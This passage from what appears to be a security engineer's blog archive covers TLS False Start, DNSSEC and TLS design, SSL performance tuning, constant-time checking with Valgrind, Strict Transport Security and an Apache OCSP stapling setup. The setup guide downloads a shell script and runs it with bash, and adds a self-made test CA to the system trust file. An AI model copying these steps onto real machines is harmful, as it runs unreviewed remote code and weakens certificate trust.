Twelve years later, the fallback is in robust health and still adding complexity. A security update to TLS earlier this year was made much more complex by the need to account for SSLv3 fallback. The operators of the problematic webservers are largely unaware of the problems that they are causing and have no incentive to change in any case. Meanwhile, the cost of SSLv3 fallback continues to accumulate.

Because of these problems, we're going to try a new approach with False Start: blacklists.

Chrome (on the dev channel at first) will contain a list of the 0.05% of problematic sites and we won't use False Start with them. We're generating this list by probing a large list of websites although, of course, we'll miss some which we'll have to address from bug reports.

Blacklisting gives us two advantages. Firstly, it limits the accumulation of new problematic websites. Sites which have never worked are a very different case from sites which used to work.

Secondly, we can contact the problematic sites in question. We already have a good idea of where the problem lies with many of them and we're in contact with the stakeholders to plan a way forward.

Blacklists require effort to maintain and we'll have to be responsive to make it work. But, with our near-weekly dev channel and even more frequently updated Canary channel, we think that we can do it. In the end, success will be measured by whether we manage to make the Internet a safe place to implement False Start and by how much we manage to reduce the blacklist over time.

DNSSEC and TLS

Ever since the DNS root was signed on July 15^th, quite a few people have been wondering about the interaction of TLS and DNSSEC. On the one hand, trust in the CA system is lukewarm but, on the other, the deployment issues with getting DNSSEC to the client seem immense.

Those who saw Dan Kaminsky's talk at BlackHat, which included a patched version of Chromium performing DNSSEC validation, have probably already guessed that Dan, myself and others have been working on this problem. In this blog post I'm going to try to explain the design space as I see it.

Objectives

In the long term, we want a stronger foundation of trust for the Internet. This means both pairing back the power of the 1500 root certificates and making TLS easier to deploy and thus more commonly used.

So one of the goals is to serve sites which currently don't have a CA signed certificate. We can do that by allowing them to publish fingerprints in DNS and having browsers accept those (DNSSEC secured) fingerprints.

There might also be speed advantages to be had by avoiding OCSP and CRL lookups.

We also want to serve those sites which currently do have CA signed certificates. For them we can provide exclusion of other certificates issued either mistakenly or maliciously by CAs.

Yet it's important to note that this isn't a plan for the elimination of CAs. CAs are still a good way to link DNS names to legal entities. For that we need EV certificates and CAs to issue them.

The Design Space

Firstly we have the issues which are, in many respects, the least important. How should we encode the data?

What type of record? The two major candidates are a TXT record and a new type of CERT record. It's important that we figure it out as DNS queries can only ask for one type of response (ignoring ANY, which we don't want) and each query is another chance for packet loss and a painful timeout.

TXT records have the advantage that the crippled web interfaces, by which many people manage their DNS, often support them. They are also already common (try looking up TXT records for google.com, amazon.com etc). They are human readable. They are easily extendable given a sensible format.

A new CERT type is the ‘cleaner’ solution. Stuffing things in TXT records is clearly a hack and working around crappy web interfaces feels like being a good man standing still.

Where to put the record? If one were to use a TXT record then the temptation would be to put it on a prefix label like _tls.www.example.com. However, if www.example.com is a CNAME then we won't get a helpful answer: probably just an NXDOMAIN and we'll have to hunt around: taking many round trips and a painful latency hit. Because of this, I like putting the record on the target domain name.

Next we'll consider some of the deployment options because they inform some of the points to follow.

What about clients without DNSSEC resolution ability? This is a big question. We don't care if your ISP's resolver is going to set the AD (Authenticated Data) bit in DNS replies: we don't trust it. We need either a local recursive resolver or we need the full DNSSEC chain so that we can check the signatures ourselves.

(It's worth pointing out that, although we can't trust any fingerprint information without DNSSSEC, we can provide exclusion without DNSSEC. It's a bit of a weak threat model: the attacker would have to control some of your network but not your DNS resolutions: maybe you have the records cached with a long TTL.)

One option is to put an aggressive DNSSEC resolver in the client and set DO (DNSSEC OK) and CD (Checking Disabled) bits in the requests to get the signatures themselves.

What about clients which can't even do DNS resolution correctly? (Also known as the Hotel Network Problem.) For them we could tunnel DNS over HTTP. In fact, if you encode the request in a GET request you can set the HTTP caching headers so that HTTP caches are DNS caches too (Dan's trick).

If we're talking over HTTP, why not get the server to give us the whole chain? In that case, what about an EDNS0 option to ask for the full chain? Both are possibilities.

How about putting the DNSSEC chain in other protocols? What about embedding the chain in an X.509 certificate? Chain embedding can solve the needs of sites which want to use self-signed certificates.

Now we can start to get to some of the more meaty issues:

Fingerprint in record? If you only have a single certificate then you want to put the fingerprint in a record on the domain name. That way the client can start the lookup at the same time as for the A record. But if you have many fingerprints, that becomes troublesome and you want to lookup a domain named by the fingerprint. That's slower because you can only start that lookup once you have the certificate from the server. The answer looks to be that one has to handle both types of lookup.

What to hash? If we are going to embed a DNSSEC chain in a certificate, then the fingerprint can't cover the whole certificate (because then the hash would have to cover itself). So that suggests hashing only the public key. However, if we do that then the attacker can change other parts of the certificate at will.

Here we have a bit of an impedance mismatch with the X.509 world. Existing APIs are usually of the form “please validate this certificate”. Once validated, everything in the certificate is trusted because CAs are the Voice of God. However, in a DNSSEC world, authority is scoped.

If we hash only the public key then an attacker could include things in an X.509 certificate for example.com which would appear to have the authority of example.com to an unsuspecting application. If we hash the whole certificate then example.com could put things in its certificate which might assert things which example.com shouldn't be allowed to. Applications which work on the Voice of God model could be misled.

It's tricky. At the moment we are supporting both models.

Should we include a flag to perform CA validation in addition? For performance reasons, people might want to use just DNSSEC because one can avoid OCSP and CRL lookups that way. For EV certs, we certainly want to perform CA validation in addition, but what about DV certs? Some people might like the idea of enforcing the expiry and OCSP checks.

TLS extensions? Embedding a DNSSEC chain in an X.509 certificate means that you need to regenerate the certificate once a week or so (because DNSSEC signatures expire). Also, CAs aren't going to sign certificates with a random blob of binary data that they don't understand. Because of this, it's been suggested that we could carry the DNSSEC chain in a TLS extension. However, chain embedding is for those servers which don't have a CA issued certificate. Clients aren't going to be able to require DNSSEC for many years, if ever. And if we're going to accept CA certificates without DNSSEC, then an embedded chain can't provide exclusion.

The Code

The code is minimal so far. Chrome trunk already includes support for validating DNSSEC chains embedded inside an X.509 cert, although it requires a command line flag to enable. I also have code to generate the chains. However, the format of the chain is going to change so I'm not making that public yet.

Hopefully there will be something more substantial in a couple of months.

SSL Survey

Ivan Ristić has put together a fantastic survey of the state of SSL/TLS on the web. Some highlights include:

• 50% of the root CAs in Firefox appear to be unused.
• 44% of sites send unneeded certificates in their chains.
• 99% of sites work with only 23 roots.
• A total of 3 DSA keys from all valid sites found.
• 50% of servers still support SSLv2
• Almost nobody uses TLS 1.1 or 1.2
• Only 12 sites support STS :(
• 20.5% support the reneg extension.
• (32% support insecure renegotiation.)

Clipping in Chromium

I'm a guest poster on the Chromium Notes blog today, talking about clipping in Skia and Chromium.

Overclocking SSL

(This is a write up of the talk that I gave at Velocity 2010 last Thursday. This is a joint work of myself, Nagendra Modadugu and Wan-Teh Chang.)

The ‘S’ in HTTPS stands for ‘secure’ and the security is provided by SSL/TLS. SSL/TLS is a standard network protocol which is implemented in every browser and web server to provide confidentiality and integrity for HTTPS traffic.

If there's one point that we want to communicate to the world, it's that SSL/TLS is not computationally expensive any more. Ten years ago it might have been true, but it's just not the case any more. You too can afford to enable HTTPS for your users.

In January this year (2010), Gmail switched to using HTTPS for everything by default. Previously it had been introduced as an option, but now all of our users use HTTPS to secure their email between their browsers and Google, all the time. In order to do this we had to deploy no additional machines and no special hardware. On our production frontend machines, SSL/TLS accounts for less than 1% of the CPU load, less than 10KB of memory per connection and less than 2% of network overhead. Many people believe that SSL takes a lot of CPU time and we hope the above numbers (public for the first time) will help to dispel that.

If you stop reading now you only need to remember one thing: SSL/TLS is not computationally expensive any more.

The first part of this text contains hints for SSL/TLS performance and then the second half deals with things that Google is doing to address the latency that SSL/TLS adds.

Basic configuration

Modern hardware can perform 1500 handshakes/second/core. That's assuming that the handshakes involve a 1024-bit RSA private operation (make sure to use 64-bit software). If your site needs high security then you might want larger public key sizes or ephemeral Diffie-Hellman, but then you're not the HTTP-only site that this presentation is aimed at. But pick your certificate size carefully.

It's also important to pick your preferred ciphersuites. Most large sites (Google included) will try to pick RC4 because it's very fast and, as a stream cipher, doesn't require padding. Recent Intel chips (Westmere) contain AES instructions which can make AES the better choice, but remember that there's no point using AES-256 with a 1024-bit public key. Also keep in mind that ephemeral Diffie-Hellman (EDH or DHE) ciphersuites will handshake at about half the speed of pure RSA ciphersuites. However, with a pure RSA ciphersuite, an attacker can record traffic, crack (or steal) your private key at will and decrypt the traffic retrospectively, so consider your needs.

OpenSSL tends to allocate about 50KB of memory for each connection. We have patched OpenSSL to reduce this to about 5KB and the Tor project have independently written a similar patch that is now upstream. (Check for SSL_MODE_RELEASE_BUFFERS in OpenSSL 1.0.0a.). Keeping memory usage down is vitally important when dealing with many connections.

Resumption

There are two types of SSL/TLS handshake: a full handshake and an abbreviated handshake. The full handshake takes two round trips (in addition to the round trip from the TCP handshake):

The abbreviated handshake occurs when the connection can resume a previous session. This can only occur if the client has the previous session information cached. Since the session information contains key material, it's never cached on disk so the attempted client resume rate, seen by Google, is only 50%. Older clients also require that the server cache the session information. Since these old clients haven't gone away yet, it's vitally important to setup a shared session cache if you have multiple frontend machines. The server-side miss rate at Google is less than 10%.

An abbreviated handshake saves the server performing an RSA operation, but those are cheap anyway. More importantly, it saves a round-trip time:

Addressing round trips is a major focus of our SSL/TLS work at Google (see below).

Certificates

We've already mentioned that you probably don't want to use 4096-bit certificates without a very good reason, but there are other certificate issues which can cause a major slowdown.

Firstly, most certificates from CAs require an intermediate certificate to be presented by the server. Rather than have the root certificate sign the end certificates directly, the root signs the intermediate and the intermediate signs the end certificate. Sometimes there are several intermediate certificates.

If you forget to include an intermediate certificate then things will probably still work. The end certificate will contain the URL of the intermediate certificate and, if the intermediate certificate is missing, the browser will fetch it. This is obviously very slow (a DNS lookup, TCP connection and HTTP request blocking the handshake to your site). Unfortunately there's a constant pressure on browsers to work around issues and, because of this, many sites which are missing certificates will never notice because the site still functions. So make sure to include all your certificates (in the correct order)!

There's a second certificate issue that can increase latency: the certificate chain can be too large. A TCP connection will only send so much data before waiting to hear from the other side. It slowly ramps this amount up over time, but a new TCP connection will only send (typically) three packets. This is called the initial congestion window (initcwnd). If your certificates are large enough, they can overflow the initcwnd and cause an additional round trip as the server waits for the client to ACK the packets:

For example, www.bankofamerica.com sends four certificates: 1624 bytes, 1488 bytes, 1226 bytes and 576 bytes. That will overflow the initcwnd, but it's not clear what they could do about that if their CA really requires that many intermediate certificates. On the other hand, edgecastcdn.net has a single certificate that's 4093 bytes long, containing 107 hostnames!

Packets and records

SSL/TLS packages the bytes of the application protocol (HTTP in our case) into records. Each record has a signature and a header. Records are packed into packets and each packet has headers. The overhead of a record is typically 25 to 40 bytes (based on common ciphersuites) and the overhead of a packet is around 52 bytes. So it's vitally important not to send lots of small packets with small records in them.

I don't want to be seen to be picking on Bank Of America, it's honestly just the first site that I tried, but looking at their packets in Wireshark, we see many small records, often sent in a single packet. A quick sample of the record sizes: 638 bytes, 1363, 15628, 69, 182, 34, 18, … This is often caused because OpenSSL will build a record from each call to SSL_write and the kernel, with Nagle disabled, will send out packets to minimise latency.

This can be fixed with a couple of tricks: buffer in front of OpenSSL and don't make SSL_write calls with small amounts of data if you have more coming. Also, if code limitations mean that you are building small records in some cases, then use TCP_CORK to pack several of them into a packet.

But don't make the records too large either! See the 15KB record that https://www.bankofamerica.com sent? None of that data can be parsed by the browser until the whole record has been received. As the congestion window opens up, those large records tend to span several windows and so there's an extra round trip of delay before the browser gets any of that data. Since the browser is pre-parsing the HTML for subresources, it'll delay discovery and cause more knock-on effects.

So how large should records be? There's always going to be some uncertainty in that number because the size of the TCP header depends on the OS and the number of SACK blocks that need to be sent. In the ideal case, each packet is full and contains exactly one record. Start with a value of 1415 bytes for a non-padded ciphersuite (like RC4), or 1403 bytes for an AES based ciphersuite and look at the packets which result from that.

OCSP and CRLs

OCSP and CRLs are both methods of dealing with certificate revocation: what to do when you lose control of your private key. The certificates themselves contain the details of how to check if they have been revoked.

OCSP is a protocol for asking the issuing authority “What's the status of this certificate?” and a CRL is a list of certificates which have been revoked by the issuing authority. Both are fetched over HTTP and a certificate can specify an OCSP URL, a CRL URL, or both. But certificate authorities will typically use at least OCSP.

Firefox 2 and IE on Windows XP won't block an SSL/TLS handshake for either revocation method. IE on Vista will block for OCSP, as will Firefox 3. Since there can be several OCSP requests resulting from a handshake (one for each certificate), and because OCSP responders can be slow, this can result in hundreds of milliseconds of additional latency for the first connection. I don't have really good data yet, but hopefully soon.

The answer to this is OCSP stapling: the SSL/TLS server includes the OCSP response in the handshake. OCSP responses are public and typically last for a week, so the server can do the work of fetching them and reuse the response for many connections. The latest alpha of Apache supports this (httpd 2.3.6-alpha). Google is currently rolling out support.

However, OCSP stapling has several issues. Firstly, the protocol only allows the server to staple one response into the handshake: so if you have more than one certificate in the chain the client will probably end up doing an OCSP check anyway. Secondly, an OCSP response is about 1K of data. Remember the issue with overflowing the initcwnd with large certificates? Well the OCSP response is included in the same part of the handshake, so it puts even more pressure on certificate sizes.

Google's SSL/TLS work

Google is working on a number of fronts here. I'll deal with them in order of deployment and complexity.

Firstly we have False Start. All you really need to know is that it reduces the number of round trips for a full handshake from two to one. Thus, there's no longer any latency advantage to resuming. It's a client-side change which should be live in Chrome 8 and is already in some builds of Android Froyo.

Secondly, Chrome will soon have OCSP preloading. This involves predicting the certificates that a server will use based on past experience and starting the OCSP lookups concurrently with the DNS resolution and TCP connection.

Slightly more complex, but deployed, is Next Protocol Negotiation. This pushes negotiation of the application level protocol down into the TLS handshake. It's how we trigger the use of SPDY. It's live on the Google frontend servers and in Chrome (6).

Lastly, and most complex, is Snap Start. This reduces the round trip times to zero for both types of handshakes. It's a client and server side change and it assumes that the client has the server's certificate cached and has up-to-date OCSP information. However, since the certificate and OCSP responses are public information, we can cache them on disk for long periods of time.

Conclusion

I hope that was helpful. We want to make the web faster and more secure and this sort of communication helps keep the world abreast of what we're doing.

Also, don't forget that we recently deployed encrypted web search on https://encrypted.google.com. Switch your search engine!

(updated 26^th Oct 2010: mentioned OpenSSL 1.0.0a now that it's released, updated the status of OCSP stapling and False Start and added a mention of OCSP preloading.)

curve25519 in iOS4

Someone pointed out to me that I'm in the credits for iOS4 (the operating system formerly known as iPhone OS) for curve25519-donna. Unfortunately, I have no idea what they're using it for! I would be fascinated to know.

TLS latency improvements

We've published several drafts recently concerning reducing the number of round trips in SSL/TLS. Firstly, False Start is a client-side only change which reduces the number of round trips for a full handshake to one. It's in Android Froyo and Chrome (Linux since 5.x, Mac and Windows since 6.x). Secondly, Snap Start is a client and server change which reduces the overhead to zero. The code for it is still preliminary, but it might make it into Chrome 6.x. Snap Start requires that the client cache some information about the server but, unlike resume information, that data can be cached on disk.

This is all part of an ongoing effort to make the web faster.

Speaking at Velocity

I'll be presenting various SSL/TLS work at the O'Reilly Velocity Conference in June. Specifically, 2:30pm on Thursday the 24^th of June.

You can also see the outline of the talk here, although wtc, ngm and I have yet to nail down the precise contents.

WOFF support in Chromium

Last week I added WOFF support to Chromium. It's currently on trunk and hopefully will be included in a dev channel release by the end of this week.

WOFF is a repackaging of the old sfnt/TrueType/OpenType format. Conceptually it's just a gzipped TTF file with optional sections for a chunk of XML and a chunk of 'private data'. Since TrueType is a table based format already, those two optional sections could have been included as tables. And since we have gzip as a transport encoding in all reasonable HTTP servers, that's a little pointless too.

So, technically, there's no need to WOFF to exist at all. It's all politics. The type foundries didn't want a format which people could use on their computers. Of course, it's trivial to convert them (Chromium does it internally), but if it gets the foundries and Microsoft on board, then it's worthwhile.

But I do worry that WOFF will actually make web sites look worse. All the samples and examples that I've seen (even the nice ones) are terribly hinted. I assume that this is because the people doing them are using Macs, which traditionally don't hint anyway. But I prefer strong hinting and, in this mode, the free fonts look blotchy. They just haven't had the time and effort put in that my system fonts (often msttcorefonts) have had.

So I can always tell when a site is using @font-face, because it looks bad. Which is rather a shame given the intention.

Checking that functions are constant time with Valgrind

Information leaks via timing side channels can be deadly. You can steal RSA keys from other processes on the same host, extract the kernel's dm_crypt keys and steal AES keys over the network.

In order for a function to be constant time, the branches taken and memory addresses accessed must be independent of any secret inputs. (That's assuming that the fundamental processor instructions are constant time, but that's true for all sane CPUs.)

However, it's tough to write constant time functions. You can see the source to a few simple ones that I wrote Go. Sometimes the design of the function is fundamentally flawed (like AES), but even when the function can be efficiently implemented in a constant time fashion, it's easy to slip up. Careful code review is currently the best practice but it's error prone as the amount of code increases and fragile in the face of change.

A type system could probably help here, but that's not the path I'm taking today. Since cryptographic functions result in abnormally straight line code, it's common for a typical input to exercise every instruction. So a tool like Valgrind could check all the branches and memory accesses to make sure that they haven't been tainted with secret data.

This would mean keeping track of every bit in memory to know if it's secret or not, likewise for all the CPU registers. Preferably at the bit level. The tool would also have to know that adding secret and non-secret data results in secret data etc. That suggests that it would be quite a complex tool.

But memcheck already does this! In order to keep track of uninitialised data it shadows every bit of memory and will warn you if you use uninitialised data in a branch or to index a memory access. So if we could tell memcheck to treat our secret data as uninitialised, everything should just work.

I've a Valgrind patch does just that (against SVN r11097). It will intercept any calls to ct_poison and ct_unpoison in libctgrind.so*.

Let's look at a bad way to test a 128-bit MAC against a calculated value:

char check16_bad(unsigned char *a, unsigned char *b) {
  unsigned i;
  for (i = 0; i < 16; i++) {
    if (a[i] != b[i])
      return 0;
  }

  return 1;
}

int
main() {
  unsigned char a[16], b[16];

  memset(a, 42, sizeof(a));
  memset(b, 42, sizeof(b));

  ct_poison(a, sizeof(a));

  printf("check16_bad\n");
  check16_bad(a, b);

  return 0;
}

$ /home/agl/devel/valgrind/vg-in-place ./a.out
...
check16_bad
==30993== Conditional jump or move depends on uninitialised value(s)
==30993==    at 0x40067F: check16_bad (test.c:11)
==30993==    by 0x40075F: main (test.c:44)

It seems to work! There are a few other tests in test.c which show the correct way to implement that function and well as a demo to show that secret dependent memory accesses are also caught by this tool.

We can test a few other things too. It confirms that donna-c64 is constant time, which is nice. I also tested BN_mod_exp_mont_consttime from OpenSSL since that's a large function which calls functions from several other files.

It turns out not to be constant time! There's a secret dependent memory access:

==31076== Use of uninitialised value of size 8
==31076==    at 0x402210: MOD_EXP_CTIME_COPY_FROM_PREBUF (bn_exp.c:554)
==31076==    by 0x40277B: BN_mod_exp_mont_consttime (bn_exp.c:703)
==31076==    by 0x4011FF: main (ossl.c:24)

From inspection of the code, this appears to be a true positive. To be fair, the comment above the function suggests that it's rather misnamed:

/* This variant of BN_mod_exp_mont() uses fixed windows and the special
 * precomputation memory layout to limit data-dependency to a minimum
 * to protect secret exponents

It only claims to "limit" the side-channel leaks. I don't know how serious this is, but then you never do till someone gets a paper published by stealing all your secrets.

Time to update OpenSSL 0.9.8m

If you're using OpenSSL 0.9.8m as either a client or server (but esp as a server) then it's time to update to 0.9.8n.

OpenSSL Security Advisory [24 March 2010]

"Record of death" vulnerability in OpenSSL 0.9.8f through 0.9.8m
================================================================

In TLS connections, certain incorrectly formatted records can cause an OpenSSL
client or server to crash due to a read attempt at NULL.

Affected versions depend on the C compiler used with OpenSSL:

- If 'short' is a 16-bit integer, this issue applies only to OpenSSL 0.9.8m.
- Otherwise, this issue applies to OpenSSL 0.9.8f through 0.9.8m.

Users of OpenSSL should update to the OpenSSL 0.9.8n release, which contains a
patch to correct this issue.  If upgrading is not immediately possible, the
source code patch provided in this advisory should be applied.

Bodo Moeller and Adam Langley (Google) have identified the vulnerability
and prepared the fix.

Macs everywhere

The Setup is a neat site. They find (somewhat) famous techie people and interview them about what hardware and software they use. I was browsing through it because I recognised some of the names, and because it's always neat to find out about tools that you don't use.

But it struck me how many people were using OS X as their primary, day to day, operating system. So I went through every one of them and added up the numbers (except Why the Lucky Stiff, because they put an underscore at the start of the domain name; stopping it from resolving).

Windows: 3.5, Linux: 3, Mac: 29.5

These folks aren't all hardcore coders to be sure, but one of the Linux users is RMS and I'm not sure he counts! It would be like asking Steve Jobs what he uses.

But gosh, that's a total OS X domination.

Strict Transport Security

Chrome 4 went stable yesterday. One of the many new things in this release is the addition of Strict Transport Security. STS allows a site to request that it always be contacted over HTTPS. So far, only Chrome supports it. However, the popular NoScript Firefox extension also supports it and hopefully support will appear in Firefox proper at some point.

The issue that STS addresses is that users tend to type http:// at best, and omit the scheme entirely most of the time. In the latter case, browsers will insert http:// for them.

However, HTTP is insecure. An attacker can grab that connection, manipulate it and only the most eagle eyed users might notice that it redirected to https://www.bank0famerica.com or some such. From then on, the user is under the control of the attacker, who can intercept passwords etc at will.

An STS enabled server can include the following header in an HTTPS reply:

Strict-Transport-Security: max-age=16070400; includeSubDomains

When the browser sees this, it will remember, for the given number of seconds, that the current domain should only be contacted over HTTPS. In the future, if the user types http:// or omits the scheme, HTTPS is the default. In fact, all requests for URLs in the current domain will be redirected to HTTPS. (So you have to make sure that you can serve them all!).

For more details, see the specification.

There is still a window where a user who has a fresh install, or who wipes out their local state, is vulnerable. Because of that, we'll be starting a "Preloaded STS" list. These domains will be configured for STS out of the box. In the beginning, this will be hardcoded into the binary. As it (hopefully) grows, it can change into a list this is shared across browsers, like the safe-browsing database is today.

If you own a site that you would like to see included in the preloaded STS list, contact me at .

Setting up Apache with OCSP stapling

OCSP is the Online Certificate Status Protocol. It's a way for TLS clients to check if a certificate is expired. A certificate with OCSP enabled includes a URL to which a client can send a POST request and receive a signed statement that a given certificate is still valid.

This adds quite a bit of latency to the TLS connection setup as the client has to perform a DNS lookup on the OCSP server hostname, create an HTTP connection and perform the request-response transaction.

OCSP stapling allows the TLS server to include a recent OCSP response in the TLS handshake so that the client doesn't have to perform its own check. This also reduces load on the OCSP server.

Apache recently got support for OCSP stapling and this post details how to set it up.

1. Prerequisites

Apache support got added in this revision. At the time of writing, no release of Apache includes this so we get it from SVN below.

OpenSSL support was added in 0.9.8h. The version in Ubuntu Karmic is not recent enough, so I pulled the packages from lucid for this:

cd /tmp
wget 'http://mirrors.kernel.org/ubuntu/pool/main/o/openssl/openssl_0.9.8k-7ubuntu3_amd64.deb'
wget 'http://mirrors.kernel.org/ubuntu/pool/main/o/openssl/libssl-dev_0.9.8k-7ubuntu3_amd64.deb'
wget 'http://mirrors.kernel.org/ubuntu/pool/main/o/openssl/libssl0.9.8_0.9.8k-7ubuntu3_amd64.deb'

sudo dpkg -i openssl_0.9.8k-7ubuntu3_amd64.deb libssl0.9.8_0.9.8k-7ubuntu3_amd64.deb  libssl-dev_0.9.8k-7ubuntu3_amd64.deb

2. Building Apache

As noted, we need the SVN version of Apache at the time of writing. I'll be using some paths in the following that you should change (like /home/agl/local/ocsp):

svn checkout http://svn.apache.org/repos/asf/httpd/httpd/trunk httpd
cd httpd
svn co http://svn.apache.org/repos/asf/apr/apr/trunk srclib/apr
./buildconf
cd srclib/apr
./configure --prefix=/home/agl/local/ocsp

At this point, I had to patch APR in order to get it to build. I suspect this build break will be fixed in short order but, for the sake of completeness, here's the patch that I applied:

--- poll/unix/pollset.c (revision 892677)
+++ poll/unix/pollset.c (working copy)
@@ -129,6 +129,8 @@
 
 static apr_status_t close_wakeup_pipe(apr_pollset_t *pollset)
 {
+    apr_status_t rv0, rv1;
+
     /* Close both sides of the wakeup pipe */
     if (pollset->wakeup_pipe[0]) {
     rv0 = apr_file_close(pollset->wakeup_pipe[0]);

Now we can build and install Apache itself. Since we are giving a prefix option, this doesn't conflict with any system installs.

cd ../..
./configure --prefix=/home/agl/local/ocsp --with-apr=/home/agl/local/ocsp --enable-ssl --enable-socache-dbm

Again, for the sake of completeness, I'll mention that Apache SVN had a bug at the time of writing that will stop OCSP stapling from working:

--- modules/ssl/ssl_util_stapling.c     (revision 892677)
+++ modules/ssl/ssl_util_stapling.c     (working copy)
@@ -414,6 +414,10 @@
        goto done;
    }

+    if (uri.port == 0) {
+        uri.port = APR_URI_HTTP_DEFAULT_PORT;
+    }
+
    *prsp = modssl_dispatch_ocsp_request(&uri, mctx->stapling_responder_timeout,
                                         req, conn, vpool);

Then build and install it...

make -j4
make install

3. Generating certs

For this example, I'll be generating a CA cert, a server cert and an OCSP responder cert for that CA. In the real world you'll probably be getting the certs from a true CA, so you can skip this step.

cd /home/agl/local/ocsp
mkdir certs && cd certs
wget 'https://fedorahosted.org/pkinit-nss/browser/doc/openssl/make-certs.sh?format=txt'
mv make-certs.sh\?format=txt make-certs.sh
/bin/bash ./make-certs.sh europa.sfo.corp.google.com test@example.com all ocsp:http://europa.sfo.corp.google.com/
cat ocsp.crt ocsp.key > ocsp.pem

Now I'm going to add the CA that was just generated to the CA set. Firstly, Chromium uses an NSS database in your home directory:

certutil -d sql:/home/agl/.pki/nssdb -A -n testCA -i ~/local/ocsp/certs/ca.crt -t Cu,,

OpenSSL uses a file of PEM certs:

cd /etc/ssl
cp cert.pem cert.pem.orig
rm cert.pem
cat cert.pem.orig /home/agl/local/ocsp/certs/ca.crt > cert.pem

4. Running the responder

In the real world, the OCSP responder is run by the CA that you got your certificate from. But here I'm going to be running my own since I generated a new CA in section 3.

cd ~/local/ocsp
touch index.txt
sudo openssl ocsp -index index.txt -port 80 -rsigner certs/ca.pem -CA certs/ca.pem

5. Configuring Apache

I won't cover the basics of configuring Apache here. There are plenty of documents on the web about that. I'll just note that I have Apache only listening on port 443 since my OCSP responder is running on 80.

The config that you'll need is roughly this:

SSLStaplingCache dbm:/tmp/staples
SSLCACertificateFile "/etc/ssl/cert.pem"
SSLUseStapling on

(You probably want to choose a better location for the cache.)

Apache will parse its server certificate on startup and extract the OCSP responder URL. It needs to find the CA certificate in order to validate OCSP responces and that's why the SSLCACertificateFile directive is there (and why we added the CA to that file in section 3).

After restarting Apache, look in the error.log. What you don't want to see is the following:

[Sun Dec 20 17:24:28 2009] [error] ssl_stapling_init_cert: Can't retrieve issuer certificate!
[Sun Dec 20 17:24:28 2009] [error] Unable to configure server certificate for stapling

That means that Apache couldn't find the CA cert.

There are other directives, but they are currently undocumented. Your best bet is to look at the original Apache bug and the commit itself.

Chrome Linux Beta

Life goals: get a comic published. Check.

Digital Economy Bill

Cory Doctorow seems to have crafted the lexicon of the opposition to the Digital Economy Bill with his phrase ‘Pirate Finder General’ [1]. In his follow up he claims that this bill will introduce three-strikes, ISP spying and powers for Peter Mandelson to rewrite copyright law at will.

I spent a fun-filled Sunday afternoon reading the bill to see how bad it really is so that you don't have to (although you still should). You're welcome.

Firstly, the changes to copyright law are only a small part of the bill. Other parts of the bill cover: Channel 4 and Channel 3 licensing, removing the requirements for Teletext, digital switch over, radio licenses and classification of video games. I won't be talking about those in this post.

The bill requires that ISPs pass on infringement notices to subscribers, either via email or via the postal system. Copyright owners can also request infringement lists. This allows them to see that their notices A, B, C all went to the same subscriber. They can then take this information to court and proceed with the usual actions. (124A and 124B.)

The bill defers much of the policy in this area to a code that is to be written by OFCOM with the approval of the Secretary of State. This code includes the number of infringement notices that a single subscriber needs in order to be included in a report, the size of fines to be imposed on ISPs for failing to follow the code and the appeals process. The Secretary of State sets the compensation paid from copyright holders to ISPs and from everyone to OFCOM (124L).

What isn't in the bill is any talk of disconnection, ISP spying or three strikes. However, 124H gives the Secretary of State the power to require any “technical obligation”.

A brief interlude about statutory instruments is needed here. SIs are published by the government and cannot be amended by Parliament. There are two types. The first takes effect automatically and Parliament has a short time (usually 40 days depending on holidays etc) to annul it. The second requires positive action by both Houses before it takes effect.

According to Wikipedia, the last time that an SI was annulled was in 2000, and 1979 before that. The last time that an SI wasn't approved was 40 years ago.

The powers to impose technical measures are of the annul variety: they take effect automatically after 40 days. They don't appear to include requiring ISPs to spy.

After that power, 302A gives the Secretary of State the power to change the Copyright Act via a positive action SI “for the purpose of preventing or reducing the infringement of copyright by means of the internet”.

Next up, 124N gives the Secretary of State the power to take over any domain name registrar. By my reading, that is no exaggeration.

The Secretary can take action if they believe that the actions of a registrar affect “(a) the reputation or availability of electronic communications networks or electronic communications services [...] (b) the interests of consumers or members of the public [...].”. The action can either be to appoint a “manager”, who has total power, or to ask a court to change the constitution of the body and enjoin them from changing it back.

There's no requirement that this registrar be based in the UK, or even to allocate in the uk ccTLD.

Understandably, they are quite upset about this.

I'd also like to quickly note that this bill contains provisions for the licensing of orphan works without the copyright holder being involved also for libraries to have the rights to lend out e-books. (Although without giving any powers to do anything about technical limitations on e-books that might prevent it.)

Lastly, and I might be misunderstanding something here, on page 52 the Secretary of State seems to get powers to amend or annul anything relating to this act, in any bill in this session of Parliament, or before, by using a positive action SI.

Hopefully the above provides pointers for people who want to understand and read the bill. Now, my (informed) opining:

This is an abomination. It's an attempt to subvert Parliament by giving the government the power to write copyright law at will. The provisions are extraordinary. The sanctions against domain name registrars are staggering. I don't know of any other case when the government can sequestrate a private entity at will. Given the international nature of the domain name system, this should cause international concern.

I expect that this power is largely intended to be a very large stick with which to force the removal of xyzsucks.com style names that embarrass business or government. No registrar will dare cross their interests if they have this power.

If you vote in the UK, goto TheyWorkForYou, lookup your MP, write a letter (on paper). Sign the petition. Support ORG.

Recent changes to SSL/TLS on the web

Most of the movement around TLS (aka SSL) currently involves people dealing with the renegotiation issues, but I'm going to sound a happier note today. TLS isn't static; things are changing for the better:

Strict transport security

My colleagues, Dr Barth and Collin Jackson proposed ForceHTTPS some time ago. This has picked up Jeff Hodges, from PayPal, and morphed into Strict Transport Security. Dr Barth and I have implemented this in Chromium and Firefox supports it with the NoScript extension.

In short, you can add a header to your HTTPS replies like: Strict-Transport-Security: max-age=86400 and the browser will remember, for the next 86400 seconds (1 day), that the origin host should only be contacted over HTTPS. It also forbids mixed content.

Chrome dev channel releases already support this and it'll be in Chrome 4.0. The hosts are stored in a JSON file in the profile directory:

{
   "+7cOz6FDyMiPEjNtc0haTPwdZPbvbPFP2NyZIA82GTM=": {
      "expiry": 1258514505.715938,
      "include_subdomains": false
   }
}

If you try to navigate to an http:// URL when that host has STS enabled, the browser will internally rewrite it to https://. Suitable sites (banks etc) should start using this as soon as possible.

Compression

Well, this certainly isn't new! OpenSSL has supported deflate compression on TLS connections for ages, but NSS (the SSL/TLS library used in all Mozilla based products for one) hasn't. This means that Firefox never supported compression, nor Thunderbird (and it's a fairly big deal for IMAP connections).

However, Wan Teh Chang and I have added deflate support to NSS and it'll be in next release. Thanks to Nelson Bolyard for the code review.

Cut through

Here's a diagram of a TLS connection from the RFC:

Client                                               Server

      ClientHello                  -------->
                                                      ServerHello
                                                     Certificate*
                                               ServerKeyExchange*
                                              CertificateRequest*
